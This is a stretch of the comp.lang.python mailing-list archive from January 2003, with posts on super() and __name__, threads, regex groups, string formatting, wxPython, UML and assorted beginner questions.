> AttributeError: 'super' object has no attribute '  name  '
> 
> Somebody can tell me what's happening, please ?
> 
> TIA,
> 
> Michele
> 
> 
> --

It seems that the problem is related to the use of super.
I don't know what pydoc is doing in the example before,
but one can reproduce the same error message in a much
simpler situation:

class C(object):
    "C docstring"
    attr="C.attr"
    meth=lambda self:'C.meth'

class D(C):
    pass

print super(D,D()).attr # C.attr

print super(D,D()).meth() # C.meth

print super(D,D()).__doc__ # C docstring

print C.__name__ #okay

print super(D,D()).__name__ #error!

It seems "super" doesn't work the same for all special attributes: 
it works o.k. for "__doc__" but not for "__name__".
Still I don't know why, i.e. if this is the desired effect or not.

Cheers,

                                  Michele



From claird at lairds.com  Fri Jan  3 17:14:17 2003
From: claird at lairds.com (Cameron Laird)
Date: Fri, 03 Jan 2003 22:14:17 -0000
Subject: getting cross platform system information
References: <av4v3j$nhk$1@newsg1.svr.pol.co.uk> <slrnb1c0m6.3kp.gerhard.haering@lilith.my-fqdn.de>
Message-ID: <v1c2ppk18asc98@corp.supernews.com>

In article <slrnb1c0m6.3kp.gerhard.haering at lilith.my-fqdn.de>,
Gerhard H?ring  <gerhard.haering at gmx.de> wrote:
>Simon Bunker wrote:
>> Does anyone know how to get processor load, RAM usage and disk usage on
>> linux/unix and Windows?
>
>I'll answer for Unix:
>
>processor load =>       uptime
>disk usage =>           df
>
>RAM usage: I don't believe you can do this portably on Unix. On Linux,
>you can evaluate the output of 'free' or read /proc/meminfo directly
>(with commands.getoutput or os.popen).
>
>For Windows, you'll probably want to download the win32 extensions and
>look what goodies there are in the win32api module.
			.
			.
			.
We've covered these before in c.l.p; valuable information
is in the archives.

Most troublesome is "memory usage", which is not a portable
concept at all, let alone one implemented with portable
access.  In fact, what *do* you mean by "memory usage"?  Is
that per process?  Or are you asking how much RAM the host
recognizes?  Or ...?
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From mwh at python.net  Fri Jan 17 06:25:01 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 17 Jan 2003 11:25:01 GMT
Subject: help!! getting output from another process line by line, using popen
References: <b08ka1$q8l8@imsp212.netvigator.com>
Message-ID: <7h3n0m0m318.fsf@pc150.maths.bris.ac.uk>

cout <cout at netvigator.com> writes:

> There are 2 python scripts, one is to print out the output(output.py),
> the other is supposed to get std output from output.py line by line.
> However, it only get all the result after 40 seconds. Not during the
> executing process. Any ideas?

Yes, but you probably don't want to hear them <wink>.

This is probably all to do with terminals and the mysterious concepts
of "line discipline" and ptys and things.  How badly do you want this
to work?

Cheers,
M.

-- 
  Those who have deviant punctuation desires should take care of their
  own perverted needs.                  -- Erik Naggum, comp.lang.lisp



From max at alcyone.com  Sat Jan  4 15:33:05 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 04 Jan 2003 12:33:05 -0800
Subject: Newbie question on Re module
References: <Xns92F5826AE2F65jslmAAearthlinknet@130.133.1.4>	
	 <cc197b7b.0301040224.554869e7@posting.google.com>
	 <mailman.1041678186.20077.python-list@python.org>
	 <3E17002B.8E67641E@pobox.com> <mailman.1041706928.10512.python-list@python.org>
Message-ID: <3E174501.72A5B8CA@alcyone.com>

Andrew McGregor wrote:

> Ah nuts, that should be str.index

Double thinko!  Get 'im, boys!

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Whoever named it necking was a poor judge of anatomy.
\__/ Groucho Marx
    Blackgirl International / http://www.blackgirl.org/
 The Internet resource for black women.



From python at dylanreinhardt.com  Sat Jan 18 23:28:44 2003
From: python at dylanreinhardt.com (Dylan Reinhardt)
Date: Sat, 18 Jan 2003 20:28:44 -0800
Subject: __parent__ - like attribute?
In-Reply-To: <20030119034828.GC8210@frobozz.local>
References: <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com>
 <av7cuu$cu2$1@slb0.atl.mindspring.net>
 <YhlS9.24314$NB4.6001@FE05>
 <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com>
Message-ID: <5.1.1.6.0.20030118201925.01d51470@www.dylanreinhardt.com>

At 07:48 PM 1/18/2003, Andrew Bennetts wrote:
>Why don't you simply make eggs inherit from Persistent, and let it set its
>own _p_changed flag?

A fair question.  What the example obscures is that spam is, itself, a 
subobject of a object that uses Persistent.  Or does that not matter?

A related issue is that I also want the subobjects to obtain/acquire 
settings from their containing object.  Seems the same trick to do one 
should do the other, but _p_changed won't do double duty here.

Dylan





From andersjm at dancontrol.dk  Fri Jan  3 09:37:53 2003
From: andersjm at dancontrol.dk (Anders J. Munch)
Date: Fri, 3 Jan 2003 15:37:53 +0100
Subject: Sorting out sort (Re: Python vs. Ruby)
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net> <v14ch7mkp0vu55@news.supernews.com> <mailman.1041382562.17669.python-list@python.org> <v15qgkgpq72tbf@news.supernews.com> <3759308d.0301011401.4b32deba@posting.google.com> <3e143ffa$0$71611$edfadb0f@dread11.news.tele.dk> <v18hldk4img654@news.supernews.com> <3e144c3a$0$71645$edfadb0f@dread11.news.tele.dk> <v1b7idcfms9ne0@news.supernews.com>
Message-ID: <3e15a042$0$71636$edfadb0f@dread11.news.tele.dk>

"John Roth" <johnroth at ameritech.net> wrote:
> "Anders J. Munch" <andersjm at dancontrol.dk> wrote in message
> > print reverse(sort([1,4,2,3]))
> >
> > What more do you need?
> 
> Something that chains properly.

What does that mean? What does chaining do for you that composition
doesn't?

- Anders





From mwilson at the-wire.com  Fri Jan 31 10:38:08 2003
From: mwilson at the-wire.com (Mel Wilson)
Date: Fri, 31 Jan 2003 10:38:08 -0500
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com>
 <6ob_9.104776$0v.3032021@news1.tin.it> <x7bs1y1txx.fsf@guru.mired.org>
 <mwm@mired.org> <200301301648.h0UGmTjL000999@ratthing-b246.strakt.com>
 <mailman.1043949408.14743.python-list@python.org>
 <JWd_9.105583$0v.3054327@news1.tin.it>
 <4k1j3v8clvrsg5d2h2nf5u3rqsp4aum3c5@4ax.com> <3E39FECB.66AB4434@alcyone.com>
 <XOq_9.48875$Hl6.6191395@news010.worldonline.dk>
Message-ID: <ghpO+ks/KDkI089yn@the-wire.com>

In article <XOq_9.48875$Hl6.6191395 at news010.worldonline.dk>,
Max M <maxm at mxm.dk> wrote:
>Very often you want a function that has this interface:
>
>     def getWhere(options): # options is a list
>         "generates query"
>
>it could generate a query like:
>
>     SELECT * FROM table WHERE option='spam' or option='ni'
>
>So the easiest way to do this is to write a function like this:
>
>     def getWhere(options):
>         return 'SELECT * FROM table WHERE %s' % ' or '.join(
>                ['option=%s' for opt in options])
>
>But frequently you will only call getWhere() with one argument. So
>instead of having to call it like:
>
>     def getWhere(['spam']):
>         "generates query"
>
>You want to call it like
>
>     def getWhere('spam'):
>         "generates query"

   Then there is the possibility for confusion.  This
Do-What-I-Mean feature has already injected lumps into base
Python:


Python 2.1.3 (#35, Apr  8 2002, 17:47:50) [MSC 32 bit (Intel)] on win32
Type "copyright", "credits" or "license" for more information.
>>> print 1
1
>>> print (1,2)
(1, 2)
>>> print '%s' % 1
1
>>> print '%s' % (1,2)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: not all arguments converted
>>>

by giving a possibly unwanted, or unwonted, meaning to
tuples vs. other types in doing string modulus.  (Strictly,
the unwonted meaning is being given to the other types, by
relaxing the requirement that '%' take a tuple.  Either way
though, forget what you're doing and KABOOM!)

   I hit a similar thing with a wxTreeCtrl method.  There is
a method that creates a tree item and optionally associates
a data instance of the programmer's choosing with the item.
I chose a triple containing some database keys and the
method screamed back that it was made to be called with 3
arguments, and I was calling it with 5. I guess there's a
*arg in there somewhere.

   The container/contents distnction is not going to be
swept aside anytime soon.  If you hand me a box of raisins,
do you want price tags on the box or on the raisins?  How
about a box of soup cans?  A box of apples?


>If you do not have polymorphic interfaces you will need to typecheck
>your argument everytime you call the function:
>
>if type(options) == type(''): # I *know* this sucks!
>     getWhere([options])
>else:
>     getWhere(options)
>
>If you want to make 2 functions:
>
>     def getWhereByOne('spam'):
>         "generates query"
>
>     def getWhere(['spam']):
>         "generates query"
>
>You will need to check if the argument is a list or a string in all the
>code wich calls one of the function.

   The closer you are to the source of the data, the better
chance that you will know the form it's in.  If the caller
has forgotten the form then the callee's chances are even
worse.  It's best that the input validation code line things
up right at the start, for example:

        line = infile.readline().strip()
        try:
            query_args = line.split()
        except ValueError:
            query_args = [line]

and from now on, we call

        result = GetWhere (query_args)

with a clear conscience, at least as far as the type of
query_args is concerned.

   I'm actually living this problem now.  I started out on a
wxPython app.  Since I didn't know wxPython, or much of
Windows, I relaxed my design methods; I was 'exploring'.
Now I have a thousand lines of coded coincidences that
produce a result that isn't obviously wrong, and I have to
carve them into a program.  (not complaining..  I call this
'tuition fees'.)

        Regards.        Mel.



From p-abel at t-online.de  Wed Jan  8 15:15:17 2003
From: p-abel at t-online.de (Peter Abel)
Date: 8 Jan 2003 12:15:17 -0800
Subject: global variable not seen (bug?)
References: <mailman.1042041138.4444.python-list@python.org>
Message-ID: <13a533e8.0301081215.35e1b386@posting.google.com>

Michal Vitecek <fuf at mageo.cz> wrote in message news:<mailman.1042041138.4444.python-list at python.org>...
> hello everyone,
> 
>  i've encountered a strange problem with accessing a global variable
>  from imported module. the imported module (file imported.py) contains:
>  
> ---imported.py start---
>  def someFunction():
>     global GLOBAL_VARIABLE
> 
>     print GLOBAL_VARIABLE
> ---imported.py end---
> 
>  and now the session copy:
> 
> ---session start---
> Python 2.2.1 (#4, Sep  4 2002, 13:43:54) 
> [GCC 2.95.3 20010315 (release)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> >>> GLOBAL_VARIABLE = 'some value'
> >>> from imported import *
> >>> dir()
>  ['GLOBAL_VARIABLE', '__builtins__', '__doc__', '__name__', 'someFunction']
> >>> someFunction()
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "imported.py", line 4, in someFunction
>     print GLOBAL_VARIABLE
> NameError: global name 'GLOBAL_VARIABLE' is not defined
> >>> 
> ---session end---
> 
>  what's the problem here? it seems to me like this is a bug in python.
> 
>     thanks for any responses,


I think you first should do the import
and then define GLOBAL_VARIABLE = 'some value'
then it should work.
Cheers
Peter



From kubin at opf.slu.cz  Tue Jan 28 10:45:52 2003
From: kubin at opf.slu.cz (Lukas Kubin)
Date: Tue, 28 Jan 2003 16:45:52 +0100
Subject: Starting threads
Message-ID: <Pine.LNX.4.44.0301281637060.26166-100000@x.opf.slu.cz>

I'm doing Python threads for the first time. In the following code I need
to use the time.sleep(.005) for the thread to executed right. Otherwise it
"omits" the first threads.
The doTheAction() function is a socket operation which I need to connect
parallelly to multimple computers. What am I doing wrong?
Thank you.


import threading

class Control(threading.Thread):

  def run(self):
    doTheAction()

if __name__ == '__main__':

  for comp in Computers:
    thread = Control()
    thread.start()
    time.sleep(.005)   # <-- This is what I still need to use

-- 
Lukas Kubin

phone: +420596398285
email: kubin at opf.slu.cz

Information centre
The School of Business Administration in Karvina
Silesian University in Opava
Czech Republic
http://www.opf.slu.cz




From johnroth at ameritech.net  Wed Jan 15 10:54:57 2003
From: johnroth at ameritech.net (John Roth)
Date: Wed, 15 Jan 2003 10:54:57 -0500
Subject: Python23: cannot inherit from bool?
References: <mailman.1042638386.12093.python-list@python.org>
Message-ID: <v2b10ujkvgb42f@news.supernews.com>

"Andrew Thompson" <andrew.thompson at ashecastle.com> wrote in message
news:mailman.1042638386.12093.python-list at python.org...
> Inheriting from bool is a clever idea from Smalltalk.
>
> Where true and false subclass the abstract type bool.
>
> This then makes if,and,or,not all very natural to define.
>
> Andrew

Unfortunately, that's not what Python is doing, and the Smalltalk
implementation doesn't map at all well. If I understand you,
true and false are separate classes in Smalltalk. In Python, they
are instances of one class, so they can't have different methods
for the logical operators.

That's a performance restriction. I could hack a normal function
into an instance and expect it to work, but I can't do that with
one of the builtins because the interpreter doesn't look at the
instance dictionary first. It goes right to the class, and looks in
a special table rather than looking in the dictionary.

John Roth

>
> -----Original Message-----
> From: python-list-admin at python.org
[mailto:python-list-admin at python.org]
> On Behalf Of Robin Becker
> Sent: 15 January 2003 13:28
> To: python-list at python.org
> Subject: Re: Python23: cannot inherit from bool?
>
>
> In article <b03kr8$lbili$1 at ID-71831.news.dfncis.de>, James Kew
> <james.kew at btinternet.com> writes
> >FrankS wrote:
> >> It seems that 2.3 doesn't allow you to inherit from bool:
> >
> >I'm not qualified to comment on why it's not allowed, but out of
> >interest: why might you want to inherit from bool?
> >
> .... don't know the answer to that one, but is the non inheritance
> property available to ordinary python if yes we could create leaf
> classes.
> --
> Robin Becker
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>





From timr at probo.com  Thu Jan 23 23:15:58 2003
From: timr at probo.com (Tim Roberts)
Date: Thu, 23 Jan 2003 20:15:58 -0800
Subject: Alternative to os.listdir()/os.stat()
References: <mailman.1043304821.26500.python-list@python.org> <b0ons3$q7g$1@newsg2.svr.pol.co.uk>
Message-ID: <fef13vc3j1q81t8smaeavoa564qhel7gv1@4ax.com>

"nobody" <nobody at nowhere.near.here> wrote:
>
>Also os.path.walk() could be an improvement.

Probably not.  It does exactly what his loop does: os.listdir, and then
os.stat (disguised as "ispath") for every filename.

However, it would be easier to understand with os.path.walk...
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.



From nomad*** at ***freemail.absa.co.za  Wed Jan  8 13:53:24 2003
From: nomad*** at ***freemail.absa.co.za (Nomad)
Date: Wed, 08 Jan 2003 20:53:24 +0200
Subject: Laura's List - was Re: new years resolutions
References: <mailman.1041872080.15063.python-list@python.org> <2259b0e2.0301070445.698adc9e@posting.google.com>
Message-ID: <o4fm1v8v9ok5d3mou4j29m3o8etb7v7b2s@4ax.com>

On 7 Jan 2003 04:45:11 -0800, mis6 at pitt.edu (Michele Simionato) wrote:

>Ben Leslie <benno at sesgroup.net> wrote in message news:<mailman.1041872080.15063.python-list at python.org>...
>> On Sun, 05 Jan 2003, Laura Creighton wrote:
>> > 
>> > 1. preoccupation with cleverness as opposed to wisdom
>> 
>> Care to expand on this point? I don't quite get what you mean.
>> 
>
>My interpretation: you are wise when you are clever enough that you 
>don't need to show it. IOW, if you can, you choose the simple way over
>the difficult way. I am sure people on c.l.py would say that
>Perl is clever, whereas Python is wise.
>
>Hoping having correcly channeled Laura,

Of course, there is always:

"cleverness is when you know everything,

wisdom is when you know enough to know you don't know everything"


-- 
Nomad

Wondering of the vast emptyness of the 'net
in search of something cool.



From rjones at ekit-inc.com  Wed Jan 15 22:59:11 2003
From: rjones at ekit-inc.com (Richard Jones)
Date: Thu, 16 Jan 2003 14:59:11 +1100
Subject: python compiler
In-Reply-To: <220b6a9d.0301151850.1b3a53c2@posting.google.com>
References: <220b6a9d.0301151850.1b3a53c2@posting.google.com>
Message-ID: <200301161459.11160.rjones@ekit-inc.com>

On Thu, 16 Jan 2003 1:50 pm, rjvs wrote:
> Does anyone know if a "native code" compiler is being developed for Python?
> I heard there was a project but it got lost in complexity. The idea being,
> to develop and debug in interpretive mode and then compile for speed...this
> would be real slick!..for target projects such as CAD or 3D Modelling...:)

See the following:

  http://www.pythoncad.org/
  http://www.soffernet.com/jaime/fandango/
  http://pyopengl.sf.net/


     Richard





From tundra at tundraware.com  Thu Jan  2 13:30:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 02 Jan 2003 18:30:07 GMT
Subject: Win32 Drive List Redux
In-Reply-To: <av1v7k$f2h$1@mailgate2.lexis-nexis.com>
References: <ert1va.ruj2.ln@boundary.tundraware.com> <av1v7k$f2h$1@mailgate2.lexis-nexis.com>
Message-ID: <0a02va.jgk2.ln@boundary.tundraware.com>

rzed wrote:
<SNIP>

> 
> I'll ask a stupid question: do you need to know whether there are a:
> or b: drives on the machine? If not, start from c:.

Yup, I do need to know if a: and/or b: exist.


-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From altis at semi-retired.com  Thu Jan  2 16:59:49 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Thu, 2 Jan 2003 13:59:49 -0800
Subject: wxPython
References: <bl2R9.73683$TC5.2455364@twister1.libero.it>
Message-ID: <7A2R9.49$DR5.116286@news.uswest.net>

"Stefano" <risolar at libero.it> wrote in message
news:bl2R9.73683$TC5.2455364 at twister1.libero.it...
> Hi all,
> i've a question for you (i'm just a newbie in Python programming):
> At this time wxPython implements wxWindows database classes (wxDb and the
> others...).
> Have you got an example for me?
> Thanks all.

No. The general rule is that if the Python standard libs or an established
third-party package or module provides the functionality, then that class in
wxWindows is not wrapped in wxPython because the Python implementation is
almost certainly better. Thus, the various database packages available for
Python are what you should be using instead.

http://www.python.org/topics/database/

If you're on Windows you could probably also use a DB-aware COM control and
let it handle all the work. The wxPython-users mailing list is probably a
better place for wxPython questions that c.l.py

http://www.wxpython.org/maillist.php

ka





From zenguyuno at yahoo.com  Fri Jan 24 20:19:11 2003
From: zenguyuno at yahoo.com (zenguyuno at yahoo.com)
Date: Sat, 25 Jan 2003 01:19:11 GMT
Subject: Advice Needed re: MS-DOS/Win 98 as Python environment
References: <3E31C787.FBAE9794@lvcm.com> <3E31E028.9000501@optonline.net>
Message-ID: <3E31E69A.CBF15A74@lvcm.com>

Frederick Bartlett wrote:
<snip>
> In autoexec.bat, which is in your root directory, inspect the PATH
> statement. It'll look like this:
>    path C:\WINDOWS;C:\WINDOWS\COMMAND;c:\windows\system
> Change it so it looks like
>    path C:\WINDOWS;C:\WINDOWS\COMMAND;c:\windows\system;c:\python22
> Then set your PYTHONPATH to point to any necessary directories; e.g.,
>    set PYTHONPATH=C:\python22\lib\site-packages\DCOracle2
> (which I need to access Oracle db's)
> 
> To change the default directory of your command prompt, edit its pif.
> Right-click on the command prompt icon; choose Properties and the
> Program tab, and you'll see what to do. You can even set up a
> python-specific batch file to run if you need to.
> 
> Then restart Windows; python should work hitchlessly.

Thank you, I will try that.  What's a pif?



From mwm at mired.org  Wed Jan  8 11:20:10 2003
From: mwm at mired.org (Mike Meyer)
Date: Wed, 08 Jan 2003 16:20:10 GMT
Subject: Generate variables at run time?
References: <VyPS9.6818$xs6.347786501@newssvr14.news.prodigy.com>
Message-ID: <x7bs2rwr46.fsf@guru.mired.org>

"Byron Morgan" <lazypointer at yahoo.com> writes:

> Is there any way in Python to generate a new variable name based on data? I
> have tried the eval() function, but this gets rejected, if the variable
> doesn't already exist.
> 
> There has to be a way to do this, but I can't find it, probaly because I am
> just starting to learn Python.

Creating variables in a namespace you're actually using based on data
is a bad idea. What happens if you collide with a variable name that
you're already using?

For that reason, you're better off using a variable to hold the
namespace. The canonical way to do this is with a dictionary, but you
can use an attribute-less class and setattr to add variables to it if
you really want.

If the goal is to get code executed with some variables set from data,
then you can pass a dictionary of name/value pairs to exec or eval
instead. You can even use the current set of globals trivially. You
can merge in the current locals with a bit of work.

Why don't you tell us what you're trying to do, and we can suggest a
way to solve that problem?

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From tim.one at comcast.net  Fri Jan 10 23:08:59 2003
From: tim.one at comcast.net (Tim Peters)
Date: Fri, 10 Jan 2003 23:08:59 -0500
Subject: How do I get to *all* of the groups of an re search?
In-Reply-To: <dpe4f-52b.ln1@news.lairds.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEPADHAB.tim.one@comcast.net>

[Kyler Laird, discovers that a regexp group "in a loop" captures only
 the last place it matched]
> ...
> Yes, and that surprises me.  It seems so obvious that it
> should return all matched pieces and so arbitrary that it
> only returns the last one.

It would take potentially unbounded storage to remember all matches, and
would also (at least) complicate the meaning of backreferences (what is \1
supposed to match then?  "a list" of all strings ever matched by group 1?
the catentation of them?  at least one of them?  a contigous slice of the
string spanning the first and last places it matched?  etc).

> ...
> Regardless, do you find it useful?  Can you think of any time
> when you want to match a bunch of things and just end up with
> the last one?

Sure.  For example, finding the last component of a path expression, in
order to isolate the file name, is a common application.

> ...
> I'm not at all interested in how popular the solution is.

The Python developers were, though.  Regexps aren't central to Python's view
of the world, and making Python's regexps as compatible (as we could bear)
with Perl's regexps at the time was a primary design goal.

gratuitous-novelty-is-harmful-ly y'rs  - tim





From gerrit at nl.linux.org  Wed Jan  1 12:45:20 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Wed, 1 Jan 2003 18:45:20 +0100
Subject: compare types?
In-Reply-To: <3353cd1e.0301010810.13521eb3@posting.google.com>
References: <20021231000325.15f925c6.Ken@perfect-image.com> <001301c2b09c$c51bb7b0$21795418@dell1700> <mailman.1041320765.10859.python-list@python.org> <3353cd1e.0301010810.13521eb3@posting.google.com>
Message-ID: <20030101174520.GA7304@nl.linux.org>

Tony Clarke schreef op woensdag  1 januari om 17:16:10 +0000:
> does anyone know if it is possible to use isinstance() to recognise a list?

As I Understand It, you want to know whether something is a list or not.
Then why use isinstance()? To check whether it's a list, just use type():

 46 >>> from types import ListType
 47 >>> type(a) == ListType
1

Or is that not what you mean?

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From chrisk at nipltd.com  Fri Jan 24 11:42:14 2003
From: chrisk at nipltd.com (Chris Keyes)
Date: Fri, 24 Jan 2003 16:42:14 +0000
Subject: db files
References: <c9e6ac92.0301232249.67de6893@posting.google.com>
Message-ID: <3E316CE6.1000208@nipltd.com>

Hmm, depend exactly what the files are, which database and which OS.

If you know the exact file format there may well be something you can 
download to help out, or maybe use ODBC if your on windows?

Do you know how the files were created?


Blaktyger wrote:
> I would like to know if it's possible to access to a file database
> (filename.db or filename.dbf)via Python or wxPython. If so, how?
> 
> Thank you




From peter at engcorp.com  Sun Jan 12 16:47:54 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 12 Jan 2003 16:47:54 -0500
Subject: String representation of an identifier's name
References: <67446a0a.0301121334.22fe0673@posting.google.com>
Message-ID: <3E21E28A.8017CDC7@engcorp.com>

Boethius wrote:
> 
> I think it easier to explain with an example, so here it goes:
> Assuming there's a function fn that does what I want, it would work like this:
> 
> g = 23
> foo = {'a':56}
> 
> fn(g) => 'g'
> fn(foo) => 'foo'
> 
> How can I write fn? O:-)

It might help to explain your reasons for needing this.  I don't think
the approach that is probably required would make you happy, unless the 
value of doing this is extremely high.

Usually this sort of thing is needed only in debugging/logging, where
you want to print out the name of an item, along with its value.  If
that's the case, a solution where you pass the name of the item in
to the subroutine *as a string already*, and have the subroutine 
retrieve the value from the calling frame, might be more appropriate.

-Peter



From stephen.boulet at motorola.com  Thu Jan 30 15:39:09 2003
From: stephen.boulet at motorola.com (Stephen Boulet)
Date: Thu, 30 Jan 2003 14:39:09 -0600
Subject: Font anti-aliasing in linux tkinter or wxPython
Message-ID: <3E398D6D.7070408@motorola.com>

Just curious: anyone know if font anti-aliasing with tkinter or wxPython is 
being worked on? I notice how much better tkinter apps look on windows ...

-- Stephen




From gary at duzan.org  Mon Jan  6 13:09:24 2003
From: gary at duzan.org (Gary Duzan)
Date: 6 Jan 2003 10:09:24 -0800
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <v1cgnpsb83kafe@news.supernews.com> <m2smw9ziob.fsf@mycroft.actrix.gen.nz>
Message-ID: <3e19c654$1_1@nopics.sjc>

In article <m2smw9ziob.fsf at mycroft.actrix.gen.nz>,
Paul Foley  <see at below.invalid> wrote:
=>On Fri, 3 Jan 2003 21:12:31 -0500, John Roth wrote:
=>
=>> If I understand what you're talking about, multiple dispatch is
=>> simply another name for method overloading - or is it?
=>
=>No, it isn't.

   To be more specific, method overloading can be viewed as a static
form of multiple dispatch. That is, while syntactically the call
looks like a call to a single method, the compiler determines one
of several methods which should be used and generates code to call
that method.

   On the other hand, what is being discussed here would be a
dynamic multiple dispatch, in that the determination of which method
to call must be delayed until run time. A virtual method call is
considered a single dynamic dispatch, in that it only uses a single
piece of information (i.e. the target object class) at run time to
determine the actual method to invoke. A dynamic multiple dispatch
requires examining multiple pieces of information (e.g. the target
object class and the type/class of the parameters.)

   You can read an interesting paper about adding dynamic multiple
dispatch to Java here:

	http://stillwater.csd.uwo.ca/~wade/Research/MDJ/

					Gary Duzan
					BBN Technologies
					A Verizon Company






From phr-n2002b at NOSPAMnightsong.com  Mon Jan 13 22:13:51 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 13 Jan 2003 19:13:51 -0800
Subject: OT: spam filtering idea
References: <mailman.1042490665.8620.python-list@python.org>
Message-ID: <7x1y3ge840.fsf@ruckus.brouhaha.com>

Tim Peters <tim.one at comcast.net> writes:
> Cursed to do so, yes <wink>.  Trying to train one of these classifiers to
> serve a diverse group of users at once is demonstrably and quantifiably much
> less effective.  

Yes, the hope is you get some of the effectiveness back by giving
extra weight to words found in recently received spam.  The
observation is individual pieces of spam tend to circulate for fairly
short periods, so if you spot words from them during that period, that
tells you something even if the messages mutate (all the similar
Nigerian spams).

By the way, here's a hysterically funny variation ("urgent
counter-proposal") on the Nigerian spam:

  http://www.nightsong.com/phr/urgent.txt

It's from comp.dcom.telecom and I saved it.



From peter at engcorp.com  Mon Jan 27 10:41:29 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 27 Jan 2003 10:41:29 -0500
Subject: Correction: next PyGTA meeting is *Tuesday* February 18, 8-10 pm
Message-ID: <3E355329.4EF57BD7@engcorp.com>

Doh!  The announcement as posted was wrong, although the wiki page 
at http://web.engcorp.com/pygta/wiki/NextMeeting was and still is 
correct.

The meeting _is_ on February 18, but that day is a _Tuesday_.  Not any 
of those other days, but TUESDAY.  Yes, in the past we have met on 
another day of the week that begins with the letter "T", but this time
we are changing, looking for fertile new ground, experimenting with
variations on a theme, going where no meeting of PyGTA has gone before.

Sorry for the confusion.  Please undo the corrections you've already
been making to all your calendars.  Leave Thursday marked as the 20th,
don't start complaining that "calendar.py" must be wrong, just come out 
to PyGTA on the TUESDAY of that week and all will be right in the world.

See you there!  ;-)
-Peter

P.S.: There are those who may claim that this was yet another attempt 
by the PSU to use the time machine to modify history.  I feel it is
my public duty to warn them that the PSU is *severe* in punishing th



From hancock at anansispaceworks.com  Sun Jan 19 17:31:10 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Sun, 19 Jan 2003 22:31:10 GMT
Subject: UML and Python
Message-ID: <OGFW9.1425$Sv3.183917@newsread1.prod.itd.earthlink.net>

Does UML work for Python? In particular, given some of the Zope extensions 
to Python:

Interfaces
Components
Acquisitiion
Pluggable Brains

How do you represent them?  And is it useful to you to do so?

I'm not working in a large or small group environment, but alone. So I'm 
mostly interested in its ability to clarify my own code to myself for 
architectural improvement. On the other hand, I do have to communicate with 
others about the design for future use, and I hope to attract other 
developers to the project by being well-designed and well-documented.  And, 
for non-developers, there's also some documentation into the general design 
and capabilities of the software, which might benefit from parts of UML 
(especially interaction, deployment, and use-cases).

Would I be wasting my time to use UML?  And if I do use it, should I 
concentrate on being rigorously correct or just use quick, simplified 
representations?

I'm using "dia" to do this. I created some reverse-engineered drawings 
using happydoc, but I'm actually moving towards just doing new design from 
scratch, because the automatically generated drawing is kind of a pain to 
work with.

I did find this opinion, BTW:
http://www.objectsbydesign.com/projects/python_uml.html
and this collection of UML documents:
http://etna.int-evry.fr/COURS/UML/index.html

Thanks for any opinions or shared experiences,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From zope at thewebsons.com  Wed Jan  8 09:12:58 2003
From: zope at thewebsons.com (beno)
Date: Wed, 08 Jan 2003 10:12:58 -0400
Subject: Functional Programming: WAS: Too Self Centered
In-Reply-To: <001701c2b71f$203e05c0$0200a8c0@limstn01.de.comcast.net>
References: <mailman.1041984834.14592.python-list@python.org>
 <mailman.1041995238.27779.python-list@python.org>
Message-ID: <5.1.0.14.0.20030108101156.01f17d50@mail.thewebsons.com>

At 09:06 AM 1/8/2003 -0500, you wrote:
> > >Your program will blow up reading a large file because of your
> > >recursive use of "subsequentRead(self)" and
>"subsequentLines(self)".
> > >The form of recursion you are using is called "tail-recursion".
> > >Python does not optimize tail-recursion.  Outside of the LISP
>world,
> > >tail-recursion is not used (and rarely optimized).  A "while" loop
> > >would be better.
> >
> > Hmmm. I'm really sold on the philosophical merits of *Functional
> > Programming*.  But I appreciate any feedback you have concerning
> > optimization here. I need to stick with Python because I'm addicted
>to Zope ;)
>
>Actually, I believe one of your recursions could be replaced with
>.readlines() but I was not exactly sure of the external specification
>of your class.

I don't understand what you mean by *external specification of my class*. 
But here's the entire script if you'd care to comment.
Thanks!
beno

"""
Testimonials.py
This script turns testimonials in individual files into drop-down select 
style boxes
that can be inserted into HTML pages. Said files must be located in the
*testimonials* folder (within a language folder if using Easy Cart) in your 
Web site
folder. The first line of each such file must contain *only* the name of 
the person
giving the testimony.
"""

import string

class Testimonials:


         count = 0
         countOne = 0
         total = 0
         lines = []
         name = ''
         readFile = []
         allLines = ''
         shortLines = []
         shortTemp = ''
         shortTemp1 = ''
         shortTemp2 = ''
         blank = 0
         __file = []
         clickForMore = 'no'

         def __init__(self):
                 self.readFile = open('test1','r')
                 while self.readFile.readline() != '':
                         self.count = self.count + 1
                 self.total = self.count
                 self.readFile.close()

         def firstRead(self):
                 self.readFile = open('test1','r')
                 self.name = self.readFile.readline()
                 self.count = self.count - 1

         def subsequentRead(self):
                 if self.count != 0:
                         self.lines.append(self.readFile.readline())
                         self.count = self.count - 1
                         self.subsequentRead()
                 else:
                         pass

